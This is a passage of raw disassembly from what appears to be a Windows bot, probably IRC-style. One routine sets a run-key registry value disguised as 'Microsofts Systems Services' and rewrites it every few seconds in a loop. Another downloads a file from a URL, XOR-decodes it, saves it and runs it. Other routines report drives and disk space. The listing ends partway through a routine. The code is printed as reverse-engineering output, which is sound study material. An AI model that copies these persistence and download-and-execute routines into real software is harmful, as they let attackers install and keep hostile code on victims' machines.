; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030CD	proc near		; CODE XREF: sub_4077FD+3551p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_42E688


loc_4030F7:				; CODE XREF: sub_4030CD+72j
		cmp	byte ptr [esi],	0
		jz	short loc_403132
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40D3F7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 2Ch


loc_403132:				; CODE XREF: sub_4030CD+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_42F208
		jl	short loc_4030F7
		pop	edi
		pop	esi
		leave
		retn
sub_4030CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403145	proc near		; CODE XREF: sub_401000+BEp
					; sub_4010CA+6Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_418068	; GetLocalTime
		mov	ebx, offset dword_42D2F8
		mov	edi, 0C0h
		mov	esi, offset dword_4242F8


loc_403167:				; CODE XREF: sub_403145+40j
		cmp	byte ptr [ebx],	0
		jz	short loc_403181
		push	0BFh
		lea	eax, [ebx+0C0h]
		push	ebx
		push	eax
		call	sub_40C720
		add	esp, 0Ch


loc_403181:				; CODE XREF: sub_403145+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_403167
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_40D3F7
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031BC	proc near		; CODE XREF: sub_40322D+4p
					; sub_40551B+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services"


loc_4031CC:				; CODE XREF: sub_4031BC+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_41BD2C[esi]
		push	dword_41BD28[esi]
		call	dword_42D830	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_40320D
		push	[ebp+arg_0]
		call	sub_40CBC0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_42D89C	; RegSetValueExA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_40320D:				; CODE XREF: sub_4031BC+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_42D7F0	; RegDeleteValueA


loc_403217:				; CODE XREF: sub_4031BC+4Fj
		push	[ebp+var_4]
		call	dword_42D854	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_4031CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4031BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40322D	proc near		; CODE XREF: sub_40322D+16j
					; DATA XREF: sub_407041+36Bo

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4031BC
		pop	ecx
		push	dword_41BD24
		call	dword_418040	; Sleep
		jmp	short sub_40322D
sub_40322D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403245	proc near		; CODE XREF: sub_40327E+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_403277
		mov	ecx, 0FFh
		push	ebx


loc_40325C:				; CODE XREF: sub_403245+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_418230[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40325C
		pop	ebx


loc_403277:				; CODE XREF: sub_403245+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_403245	endp


; =============== S U B	R O U T	I N E =======================================



sub_40327E	proc near		; CODE XREF: sub_4032EE+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_40CCCF
		mov	[esp+10h+var_10], offset dword_41BD40
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_40DDC8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4032C9


loc_4032A3:				; CODE XREF: sub_40327E+37j
		xor	eax, eax
		jmp	short loc_4032EA
; ---------------------------------------------------------------------------


loc_4032A7:				; CODE XREF: sub_40327E+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_40DB08
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4032A3
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_40DA20
		add	esp, 10h


loc_4032C9:				; CODE XREF: sub_40327E+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4032A7
		dec	ebx
		push	ebx
		push	esi
		call	sub_403245
		push	esi
		mov	ebx, eax
		call	sub_40CD81
		push	edi
		call	sub_40D9CA
		add	esp, 10h
		mov	eax, ebx


loc_4032EA:				; CODE XREF: sub_40327E+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40327E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032EE	proc near		; DATA XREF: sub_4077FD+2213o
					; sub_4077FD+25CEo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_42D82C
		call	dword_42D798	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_403767
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_418084	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4033B5
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_41BF28
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_403398
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_403398:				; CODE XREF: sub_4032EE+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		push	[ebp+var_48]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread


loc_4033B5:				; CODE XREF: sub_4032EE+68j
		xor	edi, edi
		call	dword_41805C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_40CCCF
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4033CF:				; CODE XREF: sub_4032EE+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_42D7A0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_403413
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4037CD
		pop	ecx
		pop	ecx


loc_403413:				; CODE XREF: sub_4032EE+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_418080	; WriteFile
		cmp	edi, ebx
		jnb	short loc_403451
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40343B
		mov	eax, [ebp+arg_0]


loc_40343B:				; CODE XREF: sub_4032EE+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	near ptr sub_40C820
		add	esp, 0Ch


loc_403451:				; CODE XREF: sub_4032EE+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40345E
		cmp	edi, [ebp+var_3C]
		ja	short loc_40349D


loc_40345E:				; CODE XREF: sub_4032EE+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_42F208
		cmp	[ebp+var_44], 1
		jz	short loc_403486
		push	offset unk_41BEF0
		jmp	short loc_40348B
; ---------------------------------------------------------------------------


loc_403486:				; CODE XREF: sub_4032EE+18Fj
		push	offset unk_41BEBC


loc_40348B:				; CODE XREF: sub_4032EE+196j
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_4033CF


loc_40349D:				; CODE XREF: sub_4032EE+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4034F2
		cmp	edi, [ebp+var_3C]
		jz	short loc_4034F2
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_41BE84
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 28h


loc_4034F2:				; CODE XREF: sub_4032EE+1B9j
					; sub_4032EE+1BEj
		call	dword_41805C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_41807C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_40CD81
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40357C
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40327E
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40357C
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_41BE58
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 28h


loc_40357C:				; CODE XREF: sub_4032EE+236j
					; sub_4032EE+248j
		cmp	[ebp+var_14], esi
		jz	loc_4037B4
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_403677
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_418630
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_418630
		fstp	[esp+590h+var_590]
		push	offset unk_41BE1C
		push	eax
		call	sub_40C6C3
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4035F7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4035F7:				; CODE XREF: sub_4032EE+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4037B4
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_42D7F8
		cmp	[ebp+var_30], esi
		jnz	loc_4037B4
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_41BDF4
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		add	esp, 24h
		jmp	loc_4037B4
; ---------------------------------------------------------------------------


loc_403677:				; CODE XREF: sub_4032EE+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_418630
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_418630
		fstp	[esp+590h+var_590]
		push	offset unk_41BDB0
		push	eax
		call	sub_40C6C3
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4036D7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4036D7:				; CODE XREF: sub_4032EE+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40CC40
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_4242F0
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_418078	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_403759
		call	dword_42D7E4	; WSACleanup
		call	sub_40551B
		push	esi
		call	dword_418074	; ExitProcess


loc_403759:				; CODE XREF: sub_4032EE+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_41BD74
		jmp	short loc_403773
; ---------------------------------------------------------------------------


loc_403767:				; CODE XREF: sub_4032EE+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_41BD44


loc_403773:				; CODE XREF: sub_4032EE+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4037A7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_404555
		add	esp, 14h


loc_4037A7:				; CODE XREF: sub_4032EE+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_403145
		pop	ecx


loc_4037B4:				; CODE XREF: sub_4032EE+291j
					; sub_4032EE+31Aj ...
		push	[ebp+var_18]
		call	dword_42D8A8	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40C378
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread
sub_4032EE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4037CD	proc near		; CODE XREF: sub_4032EE+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4037E9


loc_4037D9:				; CODE XREF: sub_4037CD+1Aj
		mov	dl, byte_41DE50
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4037D9

locret_4037E9:				; CODE XREF: sub_4037CD+Aj
		retn
sub_4037CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037EA	proc near		; CODE XREF: sub_4077FD+17DEp
					; sub_4077FD+1944p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40DE14
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4037EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403804	proc near		; CODE XREF: sub_403913+66p
					; sub_403913+97p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_42D2F8
		push	0
		push	edi
		call	sub_40CC40
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_403829:				; CODE XREF: sub_403804+5Bj
					; sub_403804+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_40DED0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_40DE60
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_403867
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_403829
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_403829
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_403804+4Bj
		mov	eax, edi
		jmp	short loc_403870
; ---------------------------------------------------------------------------


loc_40386B:				; CODE XREF: sub_403804+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_403870:				; CODE XREF: sub_403804+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_40386B
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403804	endp


; =============== S U B	R O U T	I N E =======================================



sub_403882	proc near		; CODE XREF: sub_403A2E+51p
					; sub_403A2E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42D8D4	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4038C5
		dec	eax
		jz	short loc_4038BF
		dec	eax
		dec	eax
		jz	short loc_4038B9
		dec	eax
		jz	short loc_4038B3
		dec	eax
		jz	short loc_4038AD
		dec	eax
		jz	short loc_4038A7
		mov	eax, offset word_41BF80
		retn
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_403882+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4038AD:				; CODE XREF: sub_403882+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4038B3:				; CODE XREF: sub_403882+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4038B9:				; CODE XREF: sub_403882+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4038BF:				; CODE XREF: sub_403882+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4038C5:				; CODE XREF: sub_403882+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_403882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038CB	proc near		; CODE XREF: sub_403913+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_42D784
		test	eax, eax
		jz	short loc_403900
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_403900:				; CODE XREF: sub_4038CB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4038CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403913	proc near		; CODE XREF: sub_403A2E+17p
					; sub_40B807+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4038CB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4039EB
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_40DF50
		push	edx
		push	eax
		call	sub_403804
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_40D3F7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40DF50
		push	edx
		push	eax
		call	sub_403804
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_40D3F7
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_40DF50
		push	edx
		push	eax
		call	sub_403804
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_40D3F7
		add	esp, 18h
		pop	ebx
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_4039EB:				; CODE XREF: sub_403913+2Cj
					; sub_403913+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_40C6C3
		add	esp, 18h


loc_403A1A:				; CODE XREF: sub_403913+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_403913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A2E	proc near		; CODE XREF: sub_403B00+17p
					; sub_403B00+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_403913
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_40D860
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403AA1
		push	ebx
		push	ebx
		call	sub_403882
		pop	ecx
		push	eax
		push	offset unk_41BFD4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 14h
		jmp	short loc_403AD5
; ---------------------------------------------------------------------------


loc_403AA1:				; CODE XREF: sub_403A2E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_403882
		pop	ecx
		push	eax
		push	offset unk_41BF94
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_40D3F7
		add	esp, 20h


loc_403AD5:				; CODE XREF: sub_403A2E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_403145
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B00	proc near		; CODE XREF: sub_4077FD+3315p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_403B21
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403A2E
		add	esp, 10h
		jmp	short loc_403B80
; ---------------------------------------------------------------------------


loc_403B21:				; CODE XREF: sub_403B00+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_42D7F4	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_40CCCF
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_42D7F4	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_403B77


loc_403B45:				; CODE XREF: sub_403B00+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403B68
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403A2E
		add	esp, 10h


loc_403B68:				; CODE XREF: sub_403B00+54j
		push	esi
		call	sub_40CBC0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_403B45


